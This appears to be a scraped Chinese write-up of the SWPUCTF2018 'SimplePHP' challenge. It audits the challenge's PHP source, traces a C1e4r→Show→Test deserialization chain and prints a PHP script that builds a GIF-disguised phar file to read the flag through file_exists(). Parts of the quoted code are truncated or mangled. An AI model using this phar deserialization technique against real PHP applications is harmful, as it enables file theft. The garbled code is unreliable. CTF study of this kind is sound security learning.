[SWPUCTF2018] SimplePHP
2021-03-09 21:28
                         标签:源码   地方   swp   存储位置   val   nts   include   lin   halt    打开靶机,在查看文件这里可以看到 url 为  试试 php://filter/ 发现没有反应,但是直接输入文件名可以读取文件,分别获取 file.php function.php class.php upload_file.php base.php file.php function.php class.php upload_file.php base.php 拿到源码后进行审计,不难发现在对上传文件检查( upload_file_check )时,采用了白名单的方式 这样我们能够选择的绕过方式就不多了,很明显的可以去考虑 phar ,然后在 file.php 中发现调用了 file_exists() 函数,这给构造 phar 反序列化提供了条件 接下来就是读取文件了,在  如何让  如何让  最后是上传的路径,在  上传路径为  flag 的位置可以扫到  这里有个地方很奇怪,读取 flag 只能用决定路径,不能使用相对路径 星盟平台的 web6 是这个题目的加强版 [SWPUCTF2018] SimplePHP 标签:源码   地方   swp   存储位置   val   nts   include   lin   halt    原文地址:https://www.cnblogs.com/peri0d/p/12861258.html源码泄露
http://f292dcfd-887b-4ebb-b292-7d78df57cc52.node3.buuoj.cn/file.php?file=  不难想到文件包含
There is no file to show!"; 
} 
$show = new Show(); 
if(file_exists($file)) { 
    $show->source = $file; 
    $show->_show(); 
} else if (!empty($file)){ 
    die(‘file doesn\‘t exists.‘); 
} 
?> 
alert("上传成功!");‘; 
} 
function upload_file() { 
    global $_FILES; 
    if(upload_file_check()) { 
        upload_file_do(); 
    } 
} 
function upload_file_check() { 
    global $_FILES; 
    $allowed_types = array("gif","jpeg","jpg","png"); 
    $temp = explode(".",$_FILES["file"]["name"]); 
    $extension = end($temp); 
    if(empty($extension)) { 
        //echo "请选择上传的文件:" . ""; 
    } 
    else{ 
        if(in_array($extension,$allowed_types)) { 
            return true; 
        } 
        else { 
            echo ‘‘; 
            return false; 
        } 
    } 
} 
?> 
str = $name;
    }
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}
class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;   //$this->source = phar://phar.jpg
        echo $this->source;
    }
    public function __toString()
    {
        $content = $this->str[‘str‘]->source;
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match(‘/http|https|file:|gopher|dict|\.\.|f1ag/i‘,$this->source)) {
            die(‘hacker!‘);
        } else {
            highlight_file($this->source);
        }
        
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
?>
phar反序列化


Test 类的 file_get() 调用了 file_get_contents 获取文件内容,或许这就是我们的突破口。file_get() 被调用的前提是 Test 类的实例化对象调用了未定义的属性或没有权限访问的属性,即 __get() 函数被调用
Test 类的 __get() 函数被调用,在 Show 类的 __toString() 方法中,$this->str[‘str‘]->source 访问了自己的 source 变量,这个变量 Test 类可没有,所以这就是让 $this->str[‘str‘] 为 Test 类的实例化对象。
Show 类的 __toString() 方法被调用,可以看到在 C1e4r 中的 __destruct() 函数调用了 echo $this->test; 让 test 是 Show 类的实例化对象即可
upload_file_do() 中给出了文件存储位置,实际上可以选择直接访问 /upload 寻找/upload/md5(filename+ip+.jpg)
f1ag.php ,在 Show 类的 _show() 函数也可以看到提示,file.php 页面的注释中也有exp
params[‘source‘] = "/var/html/www/f1ag.php";
$b = new Show();
$b->str[‘str‘] = $a;
$c = new C1e4r();
$c->str = $b;
$phar = new Phar("1.phar", 0, ‘1.phar‘);
$phar->startBuffering();
$phar->addFromString("test.txt", "test");
$phar->setStub("GIF89a"."");
$phar->setMetadata($c);
$phar->stopBuffering();
?>
类似的题目
上一篇:HTML连载87-完善内容区域
文章标题:[SWPUCTF2018] SimplePHP
文章链接:http://soscw.com/index.php/essay/62455.html